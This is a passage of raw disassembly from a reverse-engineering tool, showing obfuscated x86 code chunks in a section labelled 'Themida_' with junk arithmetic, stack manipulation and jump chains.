add edx, 0FCCB0055h
push edx
xor dword ptr [esp], 18F47942h
jmp loc_59DCFF
; ---------------------------------------------------------------------------
loc_594815: ; CODE XREF: Themida_:0059183Aj
neg esi
add esi, 47686290h
mov eax, esi
pop esi
jmp loc_58F5E5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_594825: ; CODE XREF: sub_59DA2F-593Aj
shl eax, 7
add eax, 199BBD4Dh
or ebx, eax
pop eax
jmp loc_59E84B
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_594835: ; CODE XREF: Themida_:0058F343j
mov [esp], ebp
jmp loc_59000E
; ---------------------------------------------------------------------------
loc_59483D: ; CODE XREF: Themida_:005A3168j
mov ebp, 4
jmp loc_59492C
; ---------------------------------------------------------------------------
loc_594847: ; CODE XREF: Themida_:0059A29Cj
mov ecx, eax
pop eax
sub edi, 780358A6h
sub edi, ecx
add edi, 780358A6h
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
jmp loc_590DF3
; ---------------------------------------------------------------------------
loc_59486C: ; CODE XREF: Themida_:0059133Fj
xor [esp], ecx
jmp loc_599D38
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_594874: ; CODE XREF: sub_590877+8784j
push dx
mov dl, 78h
add cl, 0BEh
add cl, 0E0h
add cl, dl
sub cl, 0E0h
sub cl, 0BEh
pop dx
neg cl
push dx
jmp loc_59BF2A
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_594891: ; CODE XREF: Themida_:00593498j
pop dword ptr [esp]
mov esp, [esp]
bswap eax
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ecx
push 50D8h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_58FED7
; ---------------------------------------------------------------------------
loc_5948C0: ; CODE XREF: Themida_:00595617j
push ebp
pop esi
pop ebp
shl esi, 5
add esi, 5CB82EC4h
sub edx, 59BA77E3h
jmp loc_59A0B0
; ---------------------------------------------------------------------------
loc_5948D7: ; CODE XREF: Themida_:00593565j
pop esp
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5948DD: ; CODE XREF: Themida_:0059D37Ej
pop ebp
jmp loc_590E9F
; ---------------------------------------------------------------------------
loc_5948E3: ; CODE XREF: Themida_:0059B2D1j
mov ebx, eax
pop eax
jmp loc_591883
; ---------------------------------------------------------------------------
loc_5948EB: ; CODE XREF: Themida_:0059C598j
push dword ptr [esp+4]
jmp loc_58EF8C
; ---------------------------------------------------------------------------
loc_5948F4: ; CODE XREF: Themida_:00591AB7j
mov ebp, [esp]
add esp, 4
push ecx
jmp loc_59E668
; ---------------------------------------------------------------------------
loc_594903: ; CODE XREF: Themida_:0059C08Cj
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_5A1B6E
; ---------------------------------------------------------------------------
mov ax, [esp]
push 6DE3h
jmp loc_596E0D
; ---------------------------------------------------------------------------
loc_594923: ; CODE XREF: Themida_:0059771Dj
pop eax
add esp, 4
jmp loc_59E2D2
; ---------------------------------------------------------------------------
loc_59492C: ; CODE XREF: Themida_:00594842j
sub esi, 52F72B4Dh
add esi, ebp
push 67BCh
mov [esp], edx
mov edx, 15461F50h
neg edx
xor edx, 0B84ECBFDh
jmp loc_59304E
; ---------------------------------------------------------------------------
loc_59494E: ; CODE XREF: Themida_:00592EB4j
add ecx, 49D39C41h
sub eax, ecx
pop ecx
pop edi
push eax
jmp loc_593464
; ---------------------------------------------------------------------------
loc_59495E: ; CODE XREF: Themida_:0059BF89j
push esi
mov esi, 20ED4FD0h
and esi, 2EB91BFDh
xor esi, 73736EB7h
add esi, 2CFA479Bh
dec esi
sub esp, 4
mov [esp], edx
mov edx, 9152C84h
jmp loc_59E066
; ---------------------------------------------------------------------------
loc_594987: ; CODE XREF: Themida_:00592652j
xchg esi, [esp]
pop esp
mov [esp], edx
mov edx, esp
push esi
mov esi, 602F121Ch
add esi, 1
add esi, 1
jmp loc_5A1CD0
; ---------------------------------------------------------------------------
loc_5949A7: ; CODE XREF: Themida_:00593C87j
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_5906B8
; ---------------------------------------------------------------------------
loc_5949BE: ; CODE XREF: Themida_:0059DB69j
pop ebp
xor ebp, 2CCC0721h
mov edx, ebp
pop ebp
pop ebx
sub esp, 4
jmp loc_59AAFA
; ---------------------------------------------------------------------------
loc_5949D1: ; CODE XREF: Themida_:005A2808j
push edi
mov edi, esp
push eax
mov eax, esp
add eax, 4
jmp loc_59985E
; ---------------------------------------------------------------------------
loc_5949E1: ; CODE XREF: Themida_:0059B5B8j
pop edx
mov eax, [esp]
add esp, 4
mov ecx, [esp]
push ebp
jmp loc_59B777
; ---------------------------------------------------------------------------
loc_5949F4: ; CODE XREF: Themida_:00591D83j
pop edi
push ebp
mov ebp, 4
jmp loc_59E08C
; ---------------------------------------------------------------------------
loc_594A00: ; CODE XREF: Themida_:005A223Bj
pop ebp
sub ecx, 4F0526E3h
add ecx, ebx
add ecx, 4F0526E3h
jmp loc_59C3CD
; ---------------------------------------------------------------------------
loc_594A14: ; CODE XREF: Themida_:0059FDADj
pop ebp
sub ecx, 5DA276B4h
xor ecx, 613E067Dh
push ecx
xor dword ptr [esp], offset sub_590877
mov eax, [esp]
add esp, 4
xor eax, offset sub_590877
mov ecx, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_592D03
; ---------------------------------------------------------------------------
loc_594A45: ; CODE XREF: Themida_:005A27ACj
sub esp, 4
mov [esp], ebx
jmp loc_59DB17
; ---------------------------------------------------------------------------
loc_594A53: ; CODE XREF: Themida_:005A29A0j
pop esp
add ecx, 4
xchg ecx, [esp]
pop esp
shr ecx, 0Ah
push 7E6Fh
mov [esp], ebx
sub esp, 4
mov [esp], ebx
jmp loc_594120
; ---------------------------------------------------------------------------
loc_594A74: ; CODE XREF: Themida_:00596639j
mov edx, [esp]
add esp, 4
and eax, ebx
pop ebx
jmp loc_59346D
; ---------------------------------------------------------------------------
loc_594A85: ; CODE XREF: Themida_:0059F6EAj
push dword ptr [esp]
pop esi
add esp, 4
push esi
xchg ecx, [esp]
not ecx
xchg ecx, [esp]
pop esi
xor eax, esi
xor esi, eax
xor eax, esi
push ebx
push 1213h
mov [esp], edx
push edi
push 7EE54D7Dh
mov edi, [esp]
add esp, 4
xor edi, 7EE54D7Ch
mov edx, edi
pop edi
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
mov esp, [esp]
mov [esp], edx
jmp loc_59A8DE
; ---------------------------------------------------------------------------
loc_594AD7: ; CODE XREF: Themida_:00595C7Ej
push dword ptr [esp]
pop eax
add esp, 4
pop ebx
xchg ecx, [esp]
pop esp
mov [esp], edx
mov dl, 3Dh
push ecx
mov ch, dl
mov bl, ch
mov ecx, [esp]
add esp, 4
jmp loc_5931DE
; ---------------------------------------------------------------------------
loc_594AFB: ; CODE XREF: Themida_:0059309Dj
push esp
mov eax, [esp]
push eax
jmp loc_597C0B
; ---------------------------------------------------------------------------
loc_594B05: ; CODE XREF: Themida_:0059AD10j
mov cl, dl
mov edx, [esp]
jmp loc_59D0E8
; ---------------------------------------------------------------------------
loc_594B0F: ; CODE XREF: Themida_:00595634j
mov ebx, 0A6F859CEh
jmp loc_597D30
; ---------------------------------------------------------------------------
loc_594B19: ; CODE XREF: Themida_:0058FBCAj
mov edx, [esp]
jmp loc_599E66
; ---------------------------------------------------------------------------
loc_594B21: ; CODE XREF: Themida_:005A1F3Cj
shr esi, 1
inc esi
sub esi, 69D2E54Eh
jmp loc_58E601
; ---------------------------------------------------------------------------
loc_594B2F: ; CODE XREF: Themida_:00592F87j
push 5643380Eh
mov ebx, [esp]
sub esp, 4
jmp loc_5A136F
; ---------------------------------------------------------------------------
loc_594B3F: ; CODE XREF: Themida_:00598B83j
and eax, ebp
mov ebp, [esp]
add esp, 4
shr eax, 12h
xor eax, ecx
push 6126h
mov [esp], eax
jmp loc_596B34
; ---------------------------------------------------------------------------
loc_594B59: ; CODE XREF: Themida_:00597AE4j
inc edx
jmp loc_58F066
; ---------------------------------------------------------------------------
loc_594B5F: ; CODE XREF: Themida_:00596AE4j
xchg ebp, [esp]
pop esp
mov [esp], edi
push eax
mov eax, esp
jmp loc_59B89A
; ---------------------------------------------------------------------------
loc_594B6E: ; CODE XREF: Themida_:00595870j
mov ebp, 52064714h
jmp loc_591EE3
; ---------------------------------------------------------------------------
loc_594B78: ; CODE XREF: Themida_:0059CB27j
push ebx
mov ebx, 5B4553E3h
shl ebx, 4
not ebx
sub ebx, 0E475AD23h
jmp loc_58EFDD
; ---------------------------------------------------------------------------
loc_594B8E: ; CODE XREF: Themida_:0059B2E6j
push ebp
mov ebp, 19B4CEC2h
add edi, ebp
pop ebp
mov esi, edi
pop edi
shr esi, 7
xor esi, 65AF6A23h
jmp loc_59EE88
; ---------------------------------------------------------------------------
loc_594BA8: ; CODE XREF: Themida_:0059D988j
mov esp, [esp]
jmp loc_598AFF
; ---------------------------------------------------------------------------
loc_594BB0: ; CODE XREF: Themida_:005A0576j
sub ecx, 0FFFFFFFFh
inc ecx
xchg edi, ecx
neg edi
xchg edi, ecx
push edi
push eax
mov eax, 6E4E3BBBh
jmp loc_5A13EC
; ---------------------------------------------------------------------------
loc_594BC6: ; CODE XREF: Themida_:0059FABFj
push esi
jmp loc_59D80E
; ---------------------------------------------------------------------------
loc_594BCC: ; CODE XREF: Themida_:0058F071j
sub edi, edx
pop edx
jmp loc_59FAC4
; ---------------------------------------------------------------------------
loc_594BD4: ; CODE XREF: Themida_:005A01B0j
mov ecx, 0BDDD09F8h
add ebp, ecx
pop ecx
mov edi, ebp
mov ebp, [esp]
add esp, 4
add esi, edi
pop edi
and eax, esi
jmp loc_5991B7
; ---------------------------------------------------------------------------
loc_594BF1: ; CODE XREF: Themida_:005967F9j
xchg esi, [esp]
pop esp
mov [esp], edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
mov [esp], edi
sub esp, 4
mov [esp], edx
push 2C5F50B1h
pop edx
and edx, 29BB0863h
inc edx
push edx
not dword ptr [esp]
jmp loc_5995D6
; ---------------------------------------------------------------------------
loc_594C33: ; CODE XREF: Themida_:00594257j
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5990C0
; ---------------------------------------------------------------------------
loc_594C4B: ; CODE XREF: Themida_:00596C9Fj
mov [esp], eax
push esp
pop eax
push 424Ah
mov [esp], esi
push 4
mov esi, [esp]
add esp, 4
add eax, esi
pop esi
add eax, 4
jmp loc_59BD12
; ---------------------------------------------------------------------------
loc_594C71: ; CODE XREF: Themida_:0059CFBCj
mov ebx, [esp]
push edx
push esp
pop edx
jmp loc_5A201E
; ---------------------------------------------------------------------------
loc_594C7C: ; CODE XREF: Themida_:00594452j
neg edx
neg edx
push ebp
mov ebp, 416E077Dh
or edx, ebp
pop ebp
xor edx, 7684744Ch
xor edx, 1AB03DD2h
add ecx, edx
mov edx, [esp]
add esp, 4
push edx
mov edx, 0F9D078Ah
add edx, 25E6D07h
push eax
mov eax, 280142B6h
add edx, eax
pop eax
neg edx
inc edx
add edx, 6ADFDA56h
jmp loc_59BCAF
; ---------------------------------------------------------------------------
loc_594CC0: ; CODE XREF: Themida_:0059D7E8j
push esi
push edi
jmp loc_59DFEB
; ---------------------------------------------------------------------------
loc_594CC7: ; CODE XREF: Themida_:005A1648j
mov ebp, esp
add ebp, 4
jmp loc_59B082
; ---------------------------------------------------------------------------
loc_594CD4: ; CODE XREF: Themida_:005A01C6j
push ebp
mov ebp, 19DB7951h
sub [esp+4], ebp
pop ebp
jmp loc_592B36
; ---------------------------------------------------------------------------
loc_594CE4: ; CODE XREF: Themida_:005945C4j
pop edx
jmp loc_59E204
; ---------------------------------------------------------------------------
loc_594CEA: ; CODE XREF: Themida_:0059DECAj
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_59DCF4
; ---------------------------------------------------------------------------
loc_594CFF: ; CODE XREF: Themida_:00596D46j
mov esi, 106619ACh
shr esi, 8
jmp loc_594559
; ---------------------------------------------------------------------------
loc_594D0C: ; CODE XREF: Themida_:00591945j
pop ecx
push esi
jmp loc_5936ED
; ---------------------------------------------------------------------------
loc_594D13: ; CODE XREF: Themida_:0059DA2Aj
push esp
push dword ptr [esp]
pop esi
add esp, 4
push ebx
mov ebx, 0A8A2E12h
jmp loc_59C4F3
; ---------------------------------------------------------------------------
loc_594D26: ; CODE XREF: Themida_:005974B5j
push esp
pop edi
push ebx
mov ebx, 4
add edi, ebx
jmp loc_5909B2
; ---------------------------------------------------------------------------
loc_594D35: ; CODE XREF: Themida_:005A1B58j
xor edx, 0EEB07A62h
jmp loc_59CDA1
; ---------------------------------------------------------------------------
loc_594D40: ; CODE XREF: Themida_:00596544j
pop ebx
sub eax, esi
jmp loc_59FE89
; ---------------------------------------------------------------------------
loc_594D48: ; CODE XREF: Themida_:00594D92j
add ebp, 9471415h
add ebp, ebx
sub ebp, 9471415h
mov ebx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_59906C
; ---------------------------------------------------------------------------
loc_594D6D: ; CODE XREF: Themida_:0058EB84j
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], ebx
mov ebx, 3746909h
push ebp
mov ebp, 3746905h
sub ebx, ebp
pop ebp
jmp loc_594D48
; ---------------------------------------------------------------------------
loc_594D97: ; CODE XREF: Themida_:00598EB5j
pop ebp
xor ebp, 2C5576F4h
sub dword ptr [esp+4], 32A44455h
add dword ptr [esp+4], 0D275E55h
sub dword ptr [esp+4], 65A57404h
sub dword ptr [esp+4], 22C377E4h
add [esp+4], ebp
jmp loc_594304
; ---------------------------------------------------------------------------
loc_594DC7: ; CODE XREF: Themida_:0059ECF9j
or esi, edi
mov edi, [esp]
add esp, 4
shl esi, 6
jmp loc_59B609
; ---------------------------------------------------------------------------
loc_594DD7: ; CODE XREF: Themida_:005A0251j
push dword ptr [esp]
jmp loc_599013
; ---------------------------------------------------------------------------
loc_594DDF: ; CODE XREF: Themida_:0059A91Ej
push ebx
mov ebx, esp
add ebx, 4
push eax
jmp loc_592605
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_594DEE: ; CODE XREF: sub_590877-1A54j
mov eax, [esp+4+var_4]
add esp, 4
jmp loc_59FBE8
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_594DF9: ; CODE XREF: Themida_:005A304Cj
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_594DFE: ; CODE XREF: Themida_:00590C84j
push ecx
push edi
jmp loc_592DC6
; ---------------------------------------------------------------------------
loc_594E05: ; CODE XREF: Themida_:0059DF4Bj
pop ecx
or eax, eax
jz loc_59EE3E
push 5704h
mov [esp], eax
push esi
jmp loc_59FB15
; ---------------------------------------------------------------------------
loc_594E1C: ; CODE XREF: Themida_:005A10D1j
push 4350h
mov [esp], esi
push ebp
mov ebp, 60AB2D16h
sub ebp, 36D84308h
jmp loc_59BD1A
; ---------------------------------------------------------------------------
loc_594E35: ; CODE XREF: Themida_:0059010Bj
mov [esp], edi
mov edi, esp
push ecx
mov ecx, 51E549D8h
shl ecx, 5
jmp loc_5A1385
; ---------------------------------------------------------------------------
loc_594E48: ; CODE XREF: Themida_:00595F24j
push ecx
mov cl, 0B9h
mov ah, 90h
add ah, cl
pop ecx
not ah
jmp loc_59B768
; ---------------------------------------------------------------------------
loc_594E57: ; CODE XREF: Themida_:005A0CA3j
sub eax, 19253290h
dec eax
sub esp, 4
mov [esp], edx
mov edx, 5926610Fh
push eax
mov eax, 0F34672Bh
jmp loc_58F76E
; ---------------------------------------------------------------------------
loc_594E76: ; CODE XREF: Themida_:0059E3BFj
pop ecx
jmp loc_59A448
; ---------------------------------------------------------------------------
loc_594E7C: ; CODE XREF: Themida_:0059AA68j
add esp, 4
xor edi, 42BA720Ah
push 75DFh
mov [esp], edi
sub esp, 4
jmp loc_58EF98
; ---------------------------------------------------------------------------
loc_594E98: ; DATA XREF: Themida_:0058E250o
push dword ptr [edx]
jmp loc_5A1209
; ---------------------------------------------------------------------------
loc_594E9F: ; CODE XREF: Themida_:0059D377j
add eax, edi
jmp loc_592543
; ---------------------------------------------------------------------------
loc_594EA6: ; CODE XREF: Themida_:005A1A02j
pop ebx
xchg ebp, [esp]
pop esp
jmp loc_5924B6
; ---------------------------------------------------------------------------
loc_594EB0: ; CODE XREF: Themida_:0059E355j
mov edx, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_591546
; ---------------------------------------------------------------------------
loc_594EC9: ; CODE XREF: Themida_:005A1692j
dec ecx
sub esp, 4
mov [esp], esi
mov esi, 38901896h
or ecx, esi
pop esi
not ecx
add ecx, 3BDB1AE3h
push ecx
pop eax
pop ecx
jmp loc_5995A9
; ---------------------------------------------------------------------------
loc_594EEB: ; CODE XREF: Themida_:0059C3E9j
push 11B245AAh
mov ecx, [esp]
push edx
mov edx, esp
jmp loc_5A1F69
; ---------------------------------------------------------------------------
loc_594EFB: ; CODE XREF: Themida_:0059BDF8j
xor ebp, 43DB1100h
add eax, ebp
pop ebp
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
push ebx
mov ebx, 4
add eax, 2C793CACh
add eax, ebx
jmp loc_5934C8
; ---------------------------------------------------------------------------
loc_594F25: ; CODE XREF: Themida_:0059EB73j
mov esi, 339F5969h
jmp loc_59A4FF
; ---------------------------------------------------------------------------
loc_594F2F: ; CODE XREF: Themida_:00590BD1j
shr esi, 5
dec esi
shr esi, 4
jmp loc_595FC0
; ---------------------------------------------------------------------------
loc_594F3B: ; CODE XREF: Themida_:005A20A0j
sub eax, ecx
push ecx
jmp loc_59534E
; ---------------------------------------------------------------------------
loc_594F43: ; CODE XREF: Themida_:005A2BA9j
dec esi
jmp loc_590F42
; ---------------------------------------------------------------------------
loc_594F49: ; CODE XREF: Themida_:0059A242j
mov [esp], ebp
pop ebx
push dword ptr [esp]
pop ebp
push eax
jmp loc_591193
; ---------------------------------------------------------------------------
loc_594F57: ; CODE XREF: Themida_:0059CB4Fj
or edi, 11505075h
xor edi, 14CB697Dh
xor edi, 96A0F9Ah
push ebx
push ecx
mov ecx, 5EBC0520h
and ecx, 20E93C2Ch
not ecx
jmp loc_5A1227
; ---------------------------------------------------------------------------
loc_594F7D: ; CODE XREF: Themida_:0059FC92j
add ebp, eax
jmp loc_59A568
; ---------------------------------------------------------------------------
loc_594F84: ; CODE XREF: Themida_:0059355Aj
mov edx, 0C1B12381h
sub eax, edx
pop edx
xor edi, eax
pop eax
jmp loc_5A319B
; ---------------------------------------------------------------------------
loc_594F94: ; CODE XREF: Themida_:0059E574j
pop eax
pop dword ptr [esp]
pop esp
jmp loc_5A057B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_594F9E: ; CODE XREF: sub_590877+1236Cj
mov ecx, esp
push edi
mov edi, 2FFF5891h
jmp loc_58EF47
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_594FAB: ; CODE XREF: Themida_:0059AE48j
mov cx, [esp]
jmp loc_5935AE
; ---------------------------------------------------------------------------
loc_594FB4: ; CODE XREF: Themida_:0058FCB3j
inc bl
xor bl, 17h
mov ch, bl
pop ebx
xor ch, bh
pop ebx
jmp loc_5983C9
; ---------------------------------------------------------------------------
loc_594FC4: ; CODE XREF: Themida_:0059D263j
add cl, 0C9h
shl cl, 4
xor cl, 9Eh
xor cl, 80h
push edx
mov dh, cl
mov ah, dh
pop edx
mov ecx, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push ebx
mov bl, ah
mov dl, bl
jmp loc_593A22
; ---------------------------------------------------------------------------
loc_594FFE: ; CODE XREF: Themida_:00596407j
mov edx, 4F5F529Ah
sub eax, edx
mov edx, [esp]
jmp loc_58FFE1
; ---------------------------------------------------------------------------
loc_59500D: ; CODE XREF: Themida_:00596AC6j
mov dx, [esp]
add esp, 2
mov bx, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_5A16C2
; ---------------------------------------------------------------------------
loc_595029: ; CODE XREF: Themida_:0058E57Aj
mov ecx, edx
pop edx
add ecx, 59710694h
jmp loc_59B0A8
; ---------------------------------------------------------------------------
loc_595037: ; CODE XREF: Themida_:0059F556j
push esp
mov ebp, [esp]
jmp loc_5930C6
; ---------------------------------------------------------------------------
loc_595040: ; CODE XREF: Themida_:00599A9Aj
mov ebx, ebp
pop ebp
sub esp, 4
mov [esp], eax
mov eax, 388A2611h
neg eax
shl eax, 2
inc eax
shr eax, 2
shr eax, 3
add eax, 0DED11AD7h
add ebx, eax
pop eax
push 16D3h
mov [esp], ebx
mov ebx, 72232B13h
sub eax, ebx
pop ebx
add eax, ebx
jmp loc_596EC4
; ---------------------------------------------------------------------------
loc_59507C: ; CODE XREF: Themida_:0059621Dj
mov edi, 519BD1CEh
add ecx, 64A0755Ch
sub ecx, 55135673h
jmp loc_5963BC
; ---------------------------------------------------------------------------
loc_595092: ; CODE XREF: Themida_:0058F4DBj
push esi
mov esi, 7CA55DEDh
sub ebp, esi
pop esi
and ebp, 49EC77FDh
jmp loc_5983BA
; ---------------------------------------------------------------------------
loc_5950A6: ; CODE XREF: Themida_:0059E716j
not edi
push eax
jmp loc_5969EF
; ---------------------------------------------------------------------------
loc_5950AE: ; CODE XREF: Themida_:00592185j
xor si, 4C7h
push bp
mov bp, 7DFCh
add si, bp
jmp loc_59B0D0
; ---------------------------------------------------------------------------
loc_5950C1: ; CODE XREF: Themida_:00592C35j
mov [esp], eax
push edx
mov edx, 49D40B1Ah
mov eax, edx
pop edx
not eax
and eax, 0ADD40A9h
push esi
mov esi, 74BC0113h
sub esi, 0FFFFFFFFh
add esi, 1
push ebx
mov ebx, 133906C5h
jmp loc_59AC05
; ---------------------------------------------------------------------------
loc_5950EE: ; CODE XREF: Themida_:0058FEBBj
add edi, 4
sub esp, 4
mov [esp], ecx
push ebx
jmp loc_59B6AB
; ---------------------------------------------------------------------------
loc_595100: ; CODE XREF: Themida_:005A25E3j
xchg dl, ch
push 4134h
mov [esp], eax
mov ah, 0F3h
push 0
jmp loc_5A091C
; ---------------------------------------------------------------------------
loc_595116: ; CODE XREF: Themida_:0059AC95j
sub ebp, 3674652Ah
pop esi
push ebx
mov ebx, 0
sub ebx, ebp
push ebx
mov ebx, esp
add ebx, 4
push ebp
mov ebp, 4
sub ebx, ebp
pop ebp
jmp loc_59B725
; ---------------------------------------------------------------------------
loc_59513C: ; CODE XREF: Themida_:0059BDD1j
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
mov edx, [esp]
jmp loc_59C643
; ---------------------------------------------------------------------------
loc_595150: ; CODE XREF: Themida_:00596B03j
add ebp, 4CFA2DE7h
add ebp, ebx
sub ebp, 4CFA2DE7h
mov ebx, [esp]
push edi
jmp loc_59F480
; ---------------------------------------------------------------------------
loc_595167: ; CODE XREF: Themida_:0059DB37j
pop esi
jmp loc_590FB2
; ---------------------------------------------------------------------------
loc_59516D: ; CODE XREF: Themida_:00597FC1j
add dword ptr [esp], 4
pop eax
add eax, 4
push 22AAh
mov [esp], edi
sub esp, 4
mov [esp], esi
mov esi, 51BE04B3h
mov edi, esi
pop esi
add edi, 44F53077h
and edi, 52600F9Dh
add edi, 0FFFFFFFFh
push ebp
mov ebp, 12200503h
xor edi, ebp
mov ebp, [esp]
add esp, 4
jmp loc_592EA5
; ---------------------------------------------------------------------------
loc_5951BB: ; CODE XREF: Themida_:005A2296j
shr esi, 8
jmp loc_5907E3
; ---------------------------------------------------------------------------
loc_5951C3: ; CODE XREF: Themida_:005A14A3j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop eax
jmp loc_5960B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D110
loc_5951D6: ; CODE XREF: sub_59D110+4j
pop ebx
xor [esp+0], ebx
xor ebx, [esp+0]
jmp loc_591344
; END OF FUNCTION CHUNK FOR sub_59D110
; ---------------------------------------------------------------------------
loc_5951E2: ; CODE XREF: Themida_:0059BA74j
pop esi
push eax
pop ebx
mov eax, [esp]
add esp, 4
jmp loc_5A0F22
; ---------------------------------------------------------------------------
loc_5951F3: ; CODE XREF: Themida_:0059A391j
pop edi
push 22E5h
mov [esp], esi
jmp loc_5971A9
; ---------------------------------------------------------------------------
loc_595201: ; CODE XREF: Themida_:00590256j
push edi
mov edi, esp
add edi, 4
jmp loc_598179
; ---------------------------------------------------------------------------
loc_59520F: ; CODE XREF: Themida_:0059ADB2j
pop ebp
add edi, 4B0261D4h
jmp loc_595661
; ---------------------------------------------------------------------------
loc_59521B: ; CODE XREF: Themida_:005A2474j
xchg ecx, [esp]
pop esp
push 41ECh
mov [esp], ebp
push edx
push 1CF40E1Fh
mov edx, [esp]
add esp, 4
xor edx, 571A0C58h
push esi
mov esi, 65381F7Dh
add esi, 0FE33F1Dh
jmp loc_5953EB
; ---------------------------------------------------------------------------
loc_59524D: ; CODE XREF: Themida_:005A004Bj
xor ecx, 93EB9947h
mov ebp, ecx
jmp loc_595632
; ---------------------------------------------------------------------------
loc_59525A: ; CODE XREF: Themida_:00594171j
add ebp, ebx
pop ebx
xchg ebp, [esp]
mov esp, [esp]
imul cx
push eax
mov eax, esp
add eax, 4
sub eax, 4
jmp loc_59412A
; ---------------------------------------------------------------------------
loc_595276: ; CODE XREF: Themida_:0058F54Cj
add edx, 0ADC72F9h
add edx, ebx
jmp loc_5A07D9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A1999
loc_595283: ; CODE XREF: sub_5A1999-7FBAj
mov eax, [esp-0Ch+arg_8]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp-8+arg_4]
pop esp
push ecx
jmp loc_59879C
; END OF FUNCTION CHUNK FOR sub_5A1999
; ---------------------------------------------------------------------------
loc_59529F: ; CODE XREF: Themida_:0059A64Cj
pop esi
sub esp, 4
mov [esp], edi
mov edi, 38D65855h
xor ebp, edi
jmp loc_596D3A
; ---------------------------------------------------------------------------
loc_5952B5: ; CODE XREF: Themida_:0059A5D0j
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
pop esi
jmp loc_59820C
; ---------------------------------------------------------------------------
loc_5952C8: ; CODE XREF: Themida_:00593EECj
pop ebp
add esp, 4
jmp loc_590BCB
; ---------------------------------------------------------------------------
loc_5952D4: ; CODE XREF: Themida_:0059074Ej
add ecx, 254CE32Fh
neg ecx
neg ecx
xor ecx, 25D7693Ah
add esi, ecx
jmp loc_59F394
; ---------------------------------------------------------------------------
loc_5952EB: ; CODE XREF: Themida_:00591F81j
push edi
mov edi, 44EC05E6h
add [esp+4], edi
pop edi
pop edi
jmp loc_5A0F41
; ---------------------------------------------------------------------------
loc_5952FC: ; CODE XREF: Themida_:00590F80j
push ebx
push esp
jmp loc_5A20B0
; ---------------------------------------------------------------------------
lodsd
sub esp, 4
mov [esp], esi
push ebx
jmp loc_592B74
; ---------------------------------------------------------------------------
loc_595310: ; CODE XREF: Themida_:00599D7Fj
mov ebp, ebx
pop ebx
add ebp, 0AD93886Ch
add eax, 6BB4063Ah
add eax, ebp
sub eax, 6BB4063Ah
pop ebp
xchg eax, [esp]
mov esp, [esp]
push 759Fh
mov [esp], ebx
jmp loc_5957F2
; ---------------------------------------------------------------------------
loc_595339: ; CODE XREF: Themida_:0059FED6j
pop esp
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_59E152
; ---------------------------------------------------------------------------
loc_59534E: ; CODE XREF: Themida_:00594F3Ej
mov ecx, 7FC776EAh
xor ecx, 16F76CE6h
sub eax, ecx
pop ecx
mov ecx, [esp]
add esp, 4
add eax, 75DD1012h
add eax, edx
sub eax, 75DD1012h
sub esp, 4
mov [esp], ebp
mov ebp, 151747C2h
jmp loc_592CE3
; ---------------------------------------------------------------------------
loc_595381: ; CODE XREF: Themida_:0059D7D3j
mov esi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
xor edi, [esp]
jmp loc_593B99
; ---------------------------------------------------------------------------
loc_59539C: ; CODE XREF: Themida_:005A2002j
sub ecx, ebp
pop ebp
jmp loc_59EB03
; ---------------------------------------------------------------------------
loc_5953A4: ; CODE XREF: Themida_:005A0E05j
push ebp
mov ebp, 4
jmp loc_596BA4
; ---------------------------------------------------------------------------
loc_5953AF: ; CODE XREF: Themida_:005A2D1Fj
push dword ptr [esp]
pop edi
jmp loc_5A2596
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591554
loc_5953B8: ; CODE XREF: sub_591554+83BEj
inc ebp
sub ebp, 0C176394Ch
add eax, ebp
pop ebp
add eax, 5E6F09E5h
add eax, ecx
jmp loc_59EC1A
; END OF FUNCTION CHUNK FOR sub_591554
; ---------------------------------------------------------------------------
loc_5953CE: ; CODE XREF: Themida_:0059A971j
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
mov eax, ebp
push dword ptr [esp]
jmp loc_59170A
; ---------------------------------------------------------------------------
loc_5953EB: ; CODE XREF: Themida_:00595248j
sub esi, 7B7F6544h
